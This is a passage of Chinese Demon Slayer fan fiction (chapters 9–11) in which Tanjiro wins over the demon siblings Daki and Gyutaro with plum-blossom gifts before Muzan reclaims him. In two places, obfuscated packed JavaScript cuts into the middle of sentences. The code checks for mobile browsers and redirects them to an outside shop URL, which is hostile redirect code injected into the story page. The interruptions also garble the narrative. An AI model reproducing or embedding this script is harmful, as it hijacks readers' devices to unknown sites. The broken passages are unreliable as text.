想到那双空洞冷漠的七彩瞳眸,炭治郎叹了口气。 现实和梦境总在男孩脑中无意识的重合。 对于那对兄妹来说,那双眼睛代表着希望,但也将它们拖入更深的黑暗,无法回头。亦;不能回头。 9. 第 9 章 堕姬和妓夫太郎很晚才回来,而炭治郎早已睡下。 他深陷梦境,从紧皱的眉头和撇起嘴的表情来看,并没有做什么好梦。 最好被吓醒,吓哭!堕姬恶意的想。 男孩开始无意识地发出呜咽,泪水从合上的眼皮缝隙里渗出。 堕姬起了些好奇的心思,她走到男孩面前,尖长的指甲轻轻戳了戳炭治郎软嫩的脸蛋。 下一秒—— 她的手被一只小手猝不及防紧抓着。 堕姬被吓了一激灵,下意识想要挣脱,可那掌心传来的滚烫温度毫无保留地包裹住她冰凉的皮肤,一路熨帖到指骨缝隙里。 那是一种近乎灼热的暖意,与她血液里流淌的阴寒截然相反。力道不大,却执拗得惊人,带着某种孩童特有的、不管不顾的蛮劲。 挣动的动作,忽然就凝滞了。 她垂下眼帘,看向那只软乎乎的却因为用力紧抓而微微发白的手。心底那声尖锐的警报,不知何时变成了迟疑的嗡鸣。 ……算了。 于是这一晚,堕姬趴在男孩的床前,手仍旧被抓着,她撇了撇嘴暗道一句“麻烦”,但始终未能挣开。 妓夫太郎不满地看着床上的男孩。 自己的妹妹为什么要被这么个毛小子抓着! 小小年纪就学会占女孩子便宜了,长大了还得了?! 信不信他砍了他的手! 想着,妓夫太郎还就真准备拿出镰刀,堕姬看了眼自家哥哥,知道对方的想法,无奈翻了个白眼,轻声道:“哥哥,他是无惨大人的人。” 杀了他,他们兄妹还有命吗?! 不得不说,这时候,堕姬的聪明劲儿就上来了。 想想看一个人类在无惨身边这么久都没事,由此可见其地位,堕姬虽然觉得自己同样对于无惨大人很重要,但也不敢逾越。 妓夫太郎恶狠狠地瞪着男孩,但终究把镰刀收了回去。 完了还不忘夸自家妹妹一句:“堕姬真聪明,哥哥都没有想到。” 堕姬小头一昂,哼笑道:“那是自然,我是最聪明的!” ……… 炭治郎醒来时,察觉到手上传来异样的触感。他困惑地睁开眼,朝手中看去。 房间里透不进一丝日光,但他依然看清了手中紧握着的—— 一只纤细而苍白的手 炭治郎:……? 他抬起头,映入眼帘的是堕姬那张美得惊人的脸。 !! 男孩赶忙松开手,整个惊坐起来。 “我、我……” “我什么我?”堕姬冷哼一声,她起身伸了个懒腰,斜睨了炭治郎一眼。 “你是人类不受日光影响,白天想去哪里随意,晚上就给我老实呆在这里,别惹麻烦,听到没有!” 炭治郎怔怔地点了点头。 堕姬没再多说,转身走了出去。 这间屋子连通着一条幽深的长廊,同样被严密地遮蔽着,沉在一片昏沉的黑暗里。 炭治郎走在街道,与夜晚灯红酒绿的景象不同,白天要显得闲静许多。 那条最豪华的街道如今只有几个菜贩子和小食摊吆喝着。 炭治郎百无聊赖地走着,直至来到街道尽头一个卖发簪的摊位前。 “想要什么样的?小客人?”摊主是个中年男人,他手上有常年握刻刀的老茧,看着男孩的眼神带着些许慈爱。 男人并没有因为炭治郎的年龄而轻视怠慢他,反倒热情地介绍着自己的商品。 “喏,这个昨天刚刻的。”说着把一只紫藤花状的发簪递给对方。 炭治郎小心接过,细细打量后由衷地赞叹,“好厉害!栩栩如生好像一朵真的紫藤花!” 男人被夸的有些不好意思,他摸着后脑勺露出一抹憨厚的笑容。 “谢谢夸奖,只是现在什么样的簪花都有,木头的已经不怎么受欢迎了。”男人说着面色无奈地叹了口气。 炭治郎安慰对方,“虽然种类很多,但心意不同呀,很少有会像您一样细致的雕刻,这花不管形状还是纹路都与真花没什么差别!” “可是颜色……” 因为是木制所以颜色都是在棕与棕黑之间,这也是落后于其他簪花的原因。 但摊主这门手艺从祖上就传下来,从小父亲就教导他决不能在簪花上染色,木雕若沾染色彩就失了根本。 炭治郎明白了男人的意思,男孩心里郁闷,低垂着眼看着摊上的一些簪花,其中一个吸引了他的注意。 “这个是什么花呀?”炭治郎疑惑地指着其中一只花朵娇小的簪子问道。 “哦,这个啊,这是梅花。”摊主将簪子拿起递给男孩。 “这花可是神奇呢,在冬天也能绽开。” “欸?真的?”炭治郎眼神亮晶晶地看着摊主,里面是满满的求知欲。 “当然,我为了能雕出好看的簪花可是去了好多地方,这花是一个国土悠久的大国引进过来的。” 炭治郎:“请问这个多少钱?” 摊主摆摆手,“你是这些天来第一个客人,不收你钱了。” 炭治郎摇头拒绝,“谢谢您,但我认为这样的手艺给您钱是对您的尊重。”说着就把无惨给他的钱币大部分掏出来双手递给摊主。 “愿您生意兴旺。”在摊主想说不值这么多钱时,硬是刚在摊上,挥挥手与男人告别。 “这孩子……”一声轻叹,摊主的眼中映着男孩欢快离去的背影。 ………… 男孩回到京极屋时,此刻天边,黄昏已至;夜色将近。 堕姬疲惫地走进房间,那老太婆又开始唠叨了,早晚杀了她! 房间内烛火摇曳,女鬼看向坐在茶桌前,手里正拿着什么神色专注的男孩。 一股无名火冒了出来。 凭什么自己累死累活挣钱,这货悠闲地坐在这里,心里好不平衡! 于是堕姬决定找点事,无惨大人说是不准伤害对方的命,又没说不可以找茬。 这样想着的女鬼立马闪身到男孩面前,黑色的发色渐渐褪去,雪白的长发飘散,冰冷的绿色竖瞳居高临下地看着炭治郎。 脸侧的花印微微牵动,嘴角绽开一抹恶意的笑容。 正想着该怎么吓唬对方时,男孩动了起来,他站起身,踮着脚将手中的东西抬高凑近女鬼。 “堕姬姐姐,送给你呀。” 在烛火的映照下,堕姬清楚地看到递过来的是一支木头雕刻的簪花。 小巧的花朵缠绕在枝条,栩栩如生。 堕姬僵愣住,看着男孩那双温柔的红眸,空寂的内心仿若被针扎了一下。 脸上的表情也变得有些怔愣。 但很快她又恢复了往常高傲的模样撇了撇嘴。 “真土鳖,我平日里戴的那可是真金白银,谁会看上这玩意儿?” 炭治郎布满期待的红眸暗淡了一瞬,嘴角的笑意变得有些勉强,他把手往回收了收,“这样啊……是我欠考虑了,堕姬姐姐不喜欢,那、那我就收回去了吧。” 可话音刚落,收回去的手就被另一只手给握住。 “送人的东西哪有收回去的道理?拿来!” 说着,堕姬就把那朵簪花给夺了过来,放在眼下仔细打量。 “嗯……虽然是有些土,不过雕刻技术还不错。这花确实有灵性,话说回来,这是什么花?” 炭治郎愣了片刻,随即眼睛重新亮起,他笑着告诉女鬼,“梅花,摊主说这是大国引进过来的,原型可好看了!” 堕姬僵愣住,“……梅?” 炭治郎:“是呀。” 男孩刚应声,嘴角的笑意便僵住了。 他闻到了,很浓郁的伤心气味正从堕姬的身上漫出。 原本回暖的气氛也瞬间降至冰点。 “呵。” 良久,一声嗤笑传出。堕姬紧握着手中的簪花,眼神晦涩不明。 “倒是和我的名字很像,小梅的梅是梅毒的梅,想来这朵用梅命名的花也是一朵掺杂毒汁的脏花吧?” 炭治郎听着堕姬的话语脑海中回忆起关于“上弦陆”的梦。 同样的雪天,烧焦的身体,哥哥的哀嚎,白橡发男人的“救赎”。 一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575961|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕仿若在眼前重现。炭治郎的鼻腔里甚至充斥着火灼味。 “不是的。”男孩说,他看着堕姬那刻着字此时阴沉的绿眸,轻声说:“梅花是美好的象征,是在冬天也能顽强生长美丽坚毅的存在,就像堕姬姐姐一样。” 堕姬瞳孔皱缩,她不可思议地看向炭治郎。 冬天?他刚刚说冬天? 一瞬间,堕姬仿佛回到她最黑暗的那一年,绳索的捆绑,大火灼烧的痛苦再度蔓延至全身,那名武士的咒骂声回荡在耳畔。灵魂深处的绝望、愤怒、恐惧在心底震颤。 “你、你怎么……”堕姬指着炭治郎的指尖发颤,簪花因为紧握隐隐有了裂痕,也插进了她的皮肉里,鲜血一滴滴落下,但这些女人并没有在意,她只是死死盯着炭治郎;她想问对方是怎么知道的,那个夜晚,那段痛苦埋藏隐秘的记忆。但很快所有的疑惑都被冒犯引出的羞愤取代。 堕姬的声音陡然变得尖利,嗓音因为愤怒和痛苦而发颤,“什么坚毅?什么美丽?我只不过是个最卑贱的妓女所生的孩子罢了,是个人人都可以辱骂、嘲笑、意淫的存在,明明我和哥哥什么都没有做错,我们只是想活着,想像个正常人一样活着,可是老天不公,人类不公,他们要逼死我们,那我们就做地狱里爬上来的恶鬼狠狠报复他们!” 堕姬周身的缎带剧烈震颤,嗜血的欲望翻涌。 妓夫太郎从她身侧的暗影中倏然浮现,佝偻的身躯蓄满暴虐。镰刀拖过地面的声音不似金属摩擦,倒像是什么活物被生生撕开皮肉,黏腻而刺耳。他枯槁的手指攥紧刀柄,骨节泛出青白。 目光落回堕姬因痛苦而扭曲的脸时,妓夫太郎眼里的混沌骤然凝固,化为纯粹的杀意。 “……不可原谅。” 他嘶哑的嗓音像生锈的刀刃刮过岩石。 “胆敢让我妹妹露出这种表情的渣滓——” 镰刀缓缓抬起,在月光下映出病态的寒光。 “我要把你削成三千片,一片……也不会少。” 此刻保护妹妹的情感占据了一切,什么无惨大人,什么命令,皆被抛之脑后;他只想杀了眼前这个惹恼自己妹妹的人类! 可炭治郎面对凑近的镰刀却没有丝毫的恐惧。 他只是看着堕姬,这一刻他知道所做的梦境或许就是现实生活中他们曾经历的。 吉原造就了堕姬的成名,却也是她痛苦人生的开端。 炭治郎心疼兄妹两人的痛苦,却也明白,只有勇敢面对,才是解决的根本。 男孩这样想着,看向堕姬兄妹的眼神也逐渐变得坚毅。 “梅花不脏,拥有梅这个名字的堕姬姐姐也不脏,也许出生的地方和所经历的一切是没有办法改变,但并不代表姐姐你就要否认自己。” 堕姬呆愣地看着炭治郎,周身原本躁动的缎带渐渐安静了下来。她能看到男孩此刻看她的眼神很温柔。也透着股莫名的坚持。 怒火烧灼的情绪被这段话或者说这双眼睛给安抚了下来,堕姬苦笑一声,她也是醉了,为什么会认为炭治郎知晓她的过去呢?一百多年前的事情了…… “哥哥,把刀收回去吧。别惹火了那位大人。” 堕姬出声适时阻止妓夫太郎接下来的动作。 佝偻着身子的男鬼闻言恶狠狠地瞪了眼炭治郎,但还是把镰刀收了回去。 “堕姬姐姐……” 堕姬看了眼手上的簪花,又看向正担忧着自己的炭治郎,她开口,声音听不出是喜是怒,“这个梅花你说它不是脏花,你见过?” 男孩愣住,随即缓缓摇头,“没有……” 堕姬露出“果然如此”的表情,她轻呵一声,“那你又凭什么说它不是?” 炭治郎卡住了,“我……” “行了。”堕姬不愿再听,她转过身背对着男孩,“我累了……你出去。” 男孩抿了抿唇,一旁的妓夫太郎不耐烦地“啧”了声,“让你走,听到没有,爱去哪去哪,别烦我妹妹!” 男孩终于迈开脚步,临走时最后看了眼女鬼的背影,眼中闪过一丝决断的光,随后他轻声拉上房门,毫不犹豫地走出了京极屋。 10. 第 10 章 圆月高悬,簪花摊主也准备收摊。 刚将东西收拾好,白天那位第一个光顾他手艺的小客人再度折返回来。 摊主见到他有些惊讶,刚想说什么,眼前的男孩却突然朝他鞠了一躬,声音诚恳,“不好意思打扰您了,实在抱歉!” 男人愣了片刻,随即赶忙说道:“不不不,哪有什么打扰啊,倒是小客人这么匆匆忙忙,是簪子有问题吗?” 炭治郎赶忙抬起身摆摆手解释,“不是的,先生的簪花很好,只是我想询问一下先生是在哪里见到的梅花,能告诉我吗?这对我很重要,拜托了!”说着男孩再度鞠躬,这副谦逊礼貌的模样看得摊主心都化了。 他是个中年即将步入老年的人,到了喜爱孩童的年纪,更何况一个孩子这般请求,他怎么会说不?况且这也不是什么机密。 “我是在距离这里不远处的一处寺庙见到的,祈福时,在那里结识了一位僧人,他跟我讲解梅花的由来,我觉得很美就将它的样子画了下来,你要想看,我把原画给你。”说着就从收拾好的包袱里把那幅画拿了出来。 摊主的绘画技术高超,瓣瓣细腻如羊脂玉,微微泛着晶莹的光泽。 纹理交错,犹如精致的刺绣。在纤细的花枝上垂下。 一朵相连着一朵,心脏处的深浅不一的色彩更添美艳。 还未见过实体,炭治郎仿若已经闻到它会飘出的带着清新的冬日暖阳笃定香气。 梅花不丑,也不脏。 “谢谢您,不过我还是想要见到它的实体,如果可以我想带回一朵,或者带重要的人去看一眼。” 摊主笑笑,“这样啊,那好,我给你具体指个路,只是我要回家给妻子做饭恐怕没办法陪着你……” 男孩再度鞠了一躬,“谢谢,这就足够了!” ………………………… 随着摊主指的路,炭治郎花了整整一天才找到那所寺庙。 当走进的那瞬间,一股暖风袭来,在这寒冷的冬天给男孩带来了些许暖意 很奇妙的,男孩手上的冻疮也不再瘙痒,他呼出口白气,朝四周看了看,白茫茫的雪地并没有摊主所画的梅花的踪迹。 “您、您好?请问有人吗?” 男孩走进庙内询问,可无人回应。 正当炭治郎有些不知所措时,佛像后面的木门推开,一声清晰的“阿弥陀佛”传来。 来人身穿僧服,手中盘着的佛串来回碰撞发出清脆的响声。 “小施主有什么事吗?”僧人带着温柔的笑意走近炭治郎,身子微微勾下询问道。 “您好,僧人先生,抱歉打扰了,我从一位雕刻簪花的摊主先生那里听说这里有盛开的不畏寒冷的梅花,我想看一看,如果您允许的话我可以采一小朵回去吗?”炭治郎小心翼翼地询问,眼神紧张地盯着眼前的僧人。 却见和尚爽朗一笑,他轻摸着男孩的头,“当然可以啦小施主。”说完就带着男孩朝寺庙的后院走去。 庭院不大,却深。绕过本堂,空气骤然静了一层,连风也慢了。青苔沿着石板路的边缘,一路爬上石灯笼的基座,绿得沉甸甸的,几乎要滴下墨来。就在这一片氤氲着湿气的、近乎凝滞的绿意深处,它立在那里。 是梅花。 一株老梅,并不高大,树干粗砺,虬曲着,像一位僧侣静坐时骨节分明的手,或是案头翻倦了的经文上,那些苍古的墨迹。枝干是黑的,不是枯槁的死黑,是一种吸饱了岁月与雨水的,带着光泽的沉黑,静静地反着天光。就在这铁画银钩般的枝梢上,点点地,开着花。 炭治郎新奇地看着自己心心念念的梅花,此时天边缓缓落下细雪,带来的细微凉意和痒意让男孩住不住地摸着脸颊。 他被僧人带着走上前靠近。僧人轻轻折下一枝递给炭治郎。 白色的梅花泛着点点光泽,男孩鼻尖微动,他闻到了冷冽的香气。 稀松的雪花落在白梅上一时间也分不清究竟谁更白上一分。 它很轻、很凉也很美。 炭治郎小心地将它塞进布包里朝僧人鞠躬感谢后,就匆匆离开了。 他想要把这株梅花带给堕姬姐姐。 ………………………………………… 一整天没见到那个讨厌的小鬼,堕姬心情却没有好转,反而愈加烦躁。 那小屁孩也不知道跑哪里去了,竟给自己惹麻烦! 堕姬面无表情的浑身气压低沉,看到她的侍女名妓都躲得远远的,生怕触了这位“销冠”的霉头。 待回到房间后,她终于忍不住发起了脾气。 “哥哥你也真是的,好歹算是无惨大人身边的‘红人’你干嘛要把他气走啊!万一要是在外面出什么事,我们怎么交代!”堕姬绝口不提是她让男孩“滚”出去的,她有什么错?错的是哥哥! 妓夫太郎挠着脸,没反驳自家妹妹,只是熟练地凑过去哄着对方,“是是是……是哥哥的错,小梅不要生气。” 堕姬冷哼一声,刚想说什么,两只鬼耳尖微动,似有所感般话音停顿,同时转过头看向门口,只听下一秒敲门声响起,熟悉的稚嫩童音传来:“堕姬姐姐,我是炭治郎,我可以进去吗?” 堕姬怔愣了两秒,炭治郎的声音一出,淤积在心口那团无名的燥意化开了。 人没事,那无惨大人就不会责怪他们了,这样想着,堕姬松了口气,随即又很大声的冷哼道:“死小孩上哪里去玩了,这么喜欢到处乱跑,干脆就别回来了!” 说着,堕姬走过去打开房门。 而屋里的妓夫太郎已经在盘算着怎样让无惨大人现在把人领回去。 屋内昏黄,半明半暗,待炭治郎整个身子都凑到烛火跟前时,堕姬这才看到男孩浑身是雪化掉的水渍,头发乱糟糟,眼下青黑的狼狈样子。 她愣住,上下扫量着男孩,声音陡然拔高,“你这是……怎么把自己弄成这样?” 男孩傻笑着,小心翼翼从布包里把花拿了出来递给堕姬。 “姐姐你看,我把真的梅花给你带回来啦,不脏,很白很美和姐姐一样!” 堕姬瞳孔皱缩,“你……” “我并不知道姐姐过去经历了什么,我也不能说什么让你放下之类的话,但是姐姐不能因为一些痛苦的回忆就去贬低自己。” …… 那一刻炭治郎温柔的孩童面容和那抹白色一同刻进了堕姬深绿色的眼眸中,哪怕时光荏苒,少年不在,也依旧记忆犹新地恍若昨天。 这一晚,罕见的京极屋一片祥和,花魁的尖利怒吼并未响起。 这不禁让仆从们纷纷暗地里松了口气,但又忍不住猜测,为何今日这魔女改性子了? 殊不知被他们誉为“魔女”的堕姬此时正爱不释手的抱着那株梅花,在床上兴奋打滚,笑得像个孩子。 妓夫太郎静静看着堕姬。 眼眸里倒影着妹妹甜妹的笑容。 多久了呢…… 他想,多久没有见到妹妹这么开心过了…… 妓夫太郎第一次觉得那个人类小鬼也不是很讨厌。 如果能让妹妹开心,留着就留着吧.......... 这天之后,有什么东西悄无声息的变了。 堕姬仍旧时不时在京极屋发脾气,只是众人发现女人身后总会跟着一个“小尾巴”。 每当她动怒,那小尾巴便会轻轻扯一扯她的衣角,抬起头,用安抚的眼神望着她,糯糯地唤一声“姐姐”。堕姬听了,总会傲娇地“哼”一声,却也不再为难旁人。 “小尾巴”因此也深受京极屋众人的喜爱。 当又一次抱着满怀的糖果蹦跳地来到堕姬房间时,便被一双纤细的手弹了下脑门。 炭治郎把糖果放下,委屈地捂着头,眼巴巴地看向始作俑者。 “姐姐.......”声音细软,听起来像撒娇。 嗯,可能就是在撒娇。 堕姬却是冷哼一声撇了撇嘴瞪了眼被放在桌上的糖果,止不住地阴阳怪气:“你倒是招那群愚蠢的人类喜欢,这么晚回来,干脆住在别屋算了!” 炭治郎闻言,立马小跑到女人面前,轻轻拉着人的衣角,细声问:“姐姐生气了吗?” 堕姬拽住男孩的手,从怀里拿出丝帕,细细擦拭眼前这双稚嫩的手。 炭治郎疑惑地歪着头,但还是任由对方的动作。 直到皮肤都擦的隐隐泛红,堕姬这才嫌弃地将帕子扔掉,随即伸出纤长的食指轻点炭治郎的鼻尖,命令道:“以后离他们远点听到没有。” 炭治郎懵懵的,但堕姬脸色不好看,男孩还是点点头。 他不想让姐姐不开心。 堕姬的脸色这才好了些。 “行了,这么晚了,是你们人类该休息的时间了。” 待确定屋内的男孩呼吸均匀后,堕姬看了眼放在木桌上的糖果,眼神冰冷。 而京极屋的老板娘此时正在对账目,脑中却不合时宜的想起跟在堕姬身边的那个男孩。 她不由地叹了口气,细声呢喃:“可惜了,若是个女孩……” “若是女孩怎么样?” 阴冷的气息瞬间漫上整间屋子,明明是熟悉的声音却让老板娘止不住的浑身冒汗发抖。 她转头看向身后,下一秒瞳孔因为恐惧骤缩,眼前的女人一张美艳的脸此时冰冷如霜,黑发渐渐化为银白,末梢的绿色隐隐浮出。 而那双如刀刃般居高临下瞪着她的眼眸让老板娘忍不住想尖叫出声。 字迹浮现。 上弦·陆 绸带们听从主体的命令一拥而上,只是瞬间老板娘便被绞住。 “没用的废物想法还挺多,看你这张老脸我都看腻了,是时候该换一换了。” 堕姬嫌弃的看向老板娘的尸体,“可惜太丑太老实在倒胃口,哥哥你吃吗?还是尽量不留痕迹吧,京极屋这地方虽然垃圾,但炭治郎还住在这里呢。”堕姬嘟囔着,此时妓夫太郎出来,看了眼尸体,没说什么,只是将尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575962|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给拖走。 “要给梅收拾好啊............” .................................... 第二天炭治郎发现老板貌似换人了,之前那位老板娘没人知道去了哪里,男孩虽然疑惑,但很快就被堕姬转移了注意力。 “你不是想逛灯会吗?晚上我带你去。” 炭治郎闻言,眼睛顿时亮晶晶的他走上前一把抱住堕姬,“谢谢姐姐,姐姐最好啦!” 堕姬冷哼一声,“少来,别靠我这么近。” 嘴上这么说,但眼神却时不时飘向男孩。 嘴角隐隐翘起。 貌似有个跟在屁股后面的弟弟也不错? 但很快,堕姬的好心情就在新任老板娘宣布要举办游会且堕姬必须参加的消息中烟消云散。 堕姬眼神冰冷地扫向老板娘,“就非要今晚?” 老板娘整个抖得像骰子,但还是轻声道:“我也没办法,毕竟我不是实际控制人,有些事我决定不了.........” “决定不了?呵,没关系,你的位置都可以换,你口中所谓的实际控制人怎么着也能换一换吧?” 听到此话的老板娘顿时心脏骤停了一瞬。 上任老板娘的失踪跟眼前他们京极屋最具名气的花魁有关这么劲爆的事情她知道了,她还有活路吗? 果不其然,下一秒堕姬的话让老板娘吓到当场失禁。 “你也不是个好东西,还是先‘换’掉你吧。” 老板娘整个瘫软在地,难闻的气味充斥着整间屋子,堕姬嫌弃地在鼻间用手扇了扇,“真恶心,还是去死吧!” 说着就要动手,这时敲门声却不合时宜地响起。 “姐姐?堕姬姐姐,你在吗?” 男孩的声音使暴怒的女人得到安抚,原本在堕姬身后躁动的绸带瞬间缩了回去。 老板娘感受到周围的冰冷地气氛回温了些,她小心翼翼地看向女人,而对方突然凑近自己把老板娘吓得差点叫出声,好在堕姬及时用绸带捂住了她的嘴。 “一会儿炭治郎进来,你要是敢乱说话……”绿色眼眸闪烁着嗜血的红光,未尽的言语成了犀利的威胁,老板娘赶忙疯狂点头。 堕姬这才嫌恶地松开对方,她朝着门口喊一声“进来吧”只见男孩捧着一堆鲜红的果子,笑嘻嘻的走进来。 “给你呀姐姐这是刚采摘的可新鲜了。” 堕姬扫了眼果子,冷哼一声,“这种野果我才不吃!” 虽然嘴上这么说,但女人却伸手接过了那些野果放到桌上,还拿出手帕给炭治郎擦手。 这一切的动作让一旁的老板娘忍不住目瞪口呆,她甚至觉得自己其实已经死了,这些都是幻觉。 但很快女鬼锋利的眼神让她回了神,这才发现男孩也正盯着他看。 老板娘小心翼翼地笑了两声,随即找了个理由,赶忙离开。 “姐姐不生气~”男孩走近堕姬,轻轻拉了拉对方的衣袖,眼巴巴地看着对方劝慰道。 堕姬冷哼一声,但心里的烦躁却悄然散去。 “姐姐如果太忙没空也没有关系的,灯会以后还会有,我不想让姐姐为难。”炭治郎早就在其他花魁那里知道了今晚的游行,堕姬身为京极屋的“招牌”自然需要参加。 但炭治郎的话却让堕姬忍不住生气反驳,“干嘛这么懂事,没听说会哭的孩子有糖吃嘛。” 堕姬从不理解小孩子为什么要懂事听话,她只知道哥哥很爱她,只要她撒泼打滚,什么哥哥都会答应。 “可是........” “哎呀不要可是了,我说去灯会就去灯会,谁也拦不住!” 炭治郎:“……” 姐姐好任性,但是也好可爱。 堕姬听到笑声,没好气地瞪了眼男孩,“你笑什么呢。” “没、没笑什么。” 夜幕降临,灯笼一盏盏亮了,像浮在夜色里的暖色气泡。绵延的摊位前排起长龙,章鱼烧的酱香混着糖果的甜气,在人声里浮浮沉沉。 京极屋里谁都拿堕姬没办法,只能妥协。 不远处河道那边忽然静了一瞬,水灯笼正顺着水流缓缓漂下,烛火在水面碎成金色的细浪。 有孩子举着金鱼袋跑过,袋里的红色金鱼在灯光下晕开一圈圈涟漪。 堕姬和炭治郎好奇地摇头晃脑,妓夫太郎跟在他们身后,手里提溜着许多东西。 这都是堕姬买下来的。 妓夫太郎警惕地盯着周围。 他要确保妹妹的安全。 “哇!炭治郎你看好漂亮啊!”堕姬走到卖发饰的摊位前,两眼放光。 “嗯嗯,这个和姐姐好配!”炭治郎看着堕姬拿起的饰品,暖红色的眼眸同样亮晶晶的。 一大一小和谐欢乐的场景映入妓夫太郎的眼中。 他眸光微动,盯着堕姬脸上的笑容,嘴唇紧抿。 真好。 11. 第 11 章 灯会结束,堕姬看着眼前的繁华景象,突然有些不舍。 他看向一旁的炭治郎。“呐,小鬼,下一次灯会也要一起!” 炭治郎点头,“当然啦我喜欢和姐姐逛灯会。” “哼。”堕姬那副傲娇模样让男孩笑声更大了。 堕姬:“..........”她脸怎么有些热? “笑、笑什么。我、我去那边看看。”说着逃也似的朝着不远处的摊位跑去。 “你、你不准跟着我,我要自己逛一会儿!” 炭治郎听话的站在原地。 此时看向堕姬的身影,眉眼弯弯,眸光温柔。 “虽然我不明白无惨大人为什么那么看重你,但你确实和那些人类不一样。” 妓夫太郎嘶哑的声音让男孩疑惑地转头望向对方。 “不一样?” 妓夫太郎却没有过多解释,他的眼睛仍然看向不远处的堕姬。 炭治郎见对方没有理睬他的疑惑,也并不觉得尴尬,反倒顺着对方的目光一同朝远处倩丽的身影看去。 “能拥有这么好的家人,妓夫太郎哥哥很幸福呀~” 妓夫太郎僵愣住,随即不可置信地看向炭治郎。 男孩被那眼神搞得不由紧张起来。 “怎、怎么了哥哥,是、是我说错话了吗?” “不……”妓夫太郎嘴唇相贴紧抿,他挠着脸,神色有些不自然。 从未有人说他幸福,他也自认为他是不幸的。 可看着堕姬蹦跳地走过来,妓夫太郎嘴里发出古怪的沙哑笑声。 “对,我是幸福的........” ……………………………… 等无惨来京极屋接炭治郎时,他正和堕姬说说笑笑。 男人不禁挑眉,这才多久,一人一鬼关系就这么好了? “炭治郎。” 听到朝思暮想的熟悉声音,炭治郎转头看去,顿时两眼放光,“无惨先生!” 小男孩蹦蹦跳跳的一头扎进男人怀抱里。 无惨无奈地抱起对方,摸着男孩柔软的头,语气温和:“怎么样?这段时间玩的开心吗?” 炭治郎点头,“当然,可开心啦!堕姬姐姐和妓夫太郎哥哥带我玩了很多好玩的。” 无惨:“是吗……” 他看向不远处因为无惨出现明显变得紧张的堕姬,似笑非笑地说了句:“堕姬是个听话的孩子,你跟着她我放心。” 堕姬听到这话,紧张顿时被喜意冲散,她语气激动地回应:“谢、谢谢无惨大人的肯定!堕姬不会让您失望的!” 无惨抚摸着炭治郎的发丝,“那么现在玩闹该结束了,回无限城吧。” 闻言,堕姬脸上激动的表情瞬间僵住,被夸赞而高兴的心情跌落谷底,心中莫名升起股委屈地。 她甚至下意识想要替炭治郎开口拒绝,可话还未出口,无惨那双猩红的竖瞳便冷冷地扫了过来。 那一刹,堕姬整个人都僵在了原地,鬼王毫无掩饰的压迫感如滔天巨浪般扑面而来。吓得她整个身体瑟瑟发抖。 炭治郎背靠着并未注意,只是也呆愣了片刻。 “欸?要离开了吗?” 无惨眼神微暗,话语里的温柔也稍稍变了味道,“炭治郎这反应是不想回去?” “当然想呀!”炭治郎下意识说,但又犹豫地看向堕姬。“只是.......我有点舍不得姐姐……” “又不是死了,有什么舍不得的。” 堕姬:“..........” 无惨大人这话,怎么听着这么…… “你在这里待得时间够多了,听话。”无惨的话里带着不容置喙的意味。 “好吧........” 等炭治郎被无惨带走后,京极屋里再度响起东西摔碎的尖利声。 但屋里的人们早已习以为常,或者说这是在炭治郎没来之前的常态。 他们知道男孩已经离开,不由得在心里怀念。 至少有对方在时,这位蕨姬花魁的脾气会收敛一二。 “为什么,哥哥为什么!无惨大人不是说炭治郎跟着我他放心吗?那为什么要带炭治郎离开,为什么!” 堕姬又摔了一个花瓶,她的面容被怒火扭曲,绸带在空中乱舞,仿佛下一秒就要冲破屋门,杀光整座楼里的人类。 “妹妹不要任性,无惨大人听得到.........”妓夫太郎在一旁无奈道。 堕姬僵愣住,手劲儿刹时一松,又一件东西落地成渣。她随即像泄了气的皮球般,整个瘫在地上。 周围一片狼藉,堕姬却紧握着手中的簪花。 那是梅,是炭治郎送给她的。 妓夫太郎蹲在她的身边,安抚般地摸了摸她的头。 “哥哥你把炭治郎带回来好不好,还有好多好玩的,都没有带他去,我还没有告诉他……” 我不讨厌他,我喜欢他,想他做我们的家人。 妓夫太郎没有答应,只是反复摸着堕姬的头,就像小时候一样。 ……………… 炭治郎回无限城的消息很快就被猗窝座知道。 当他找过来时男孩的训练已经被其他鬼捷足先登。 黑死牟紧盯着男孩挥剑的动作,时不时出声指导,而炭治郎早已累得满头大汗,却紧咬着牙不肯休息。 猗窝座见此满意地点点头,只有努力才能变成强者,小子有潜力! 炭治郎看到了猗窝座,顿时喜笑颜开,他朝他的方向猛挥手,“猗窝座先生!” 想过去但又想到自己在练剑,不禁犹豫地看向黑死牟。 “老师........” 黑死牟喝了口茶,悠悠然点头。 见老师同意,炭治郎当即放下剑蹦跳着跑到猗窝座面前,两颗星星眼一闪一闪的。 “猗窝座先生好久不见呀,炭治郎很想你~” 猗窝座闻言摸了摸后脑勺,难得的升起一丝不自在,脸不知道为什么还有些发烫,但还是冷哼一声阴阳怪气道:“是吗?我看你在上弦陆那里玩的挺不错的。” 炭治郎笑得更开心了,“猗窝座先生也想玩?那下次让堕姬姐姐带着猗窝座先生,我们一起玩!” 猗窝座:“……”他是这个意思吗? ———— 而此时另一边,无惨召集了下弦。 他坐在单人沙发上居高临下地看着那群头磕在地上的蝼蚁们,眼神仿若刀子扫到他们的脖颈上。 “近些年来,你们这群废物什么贡献都没有,彼岸花没找到,柱也没杀几个,更新换代的倒是快。” 无惨冷笑一声,“做到下弦位置的鬼寿命连人类都不如,怎么,下弦是被下咒了?” 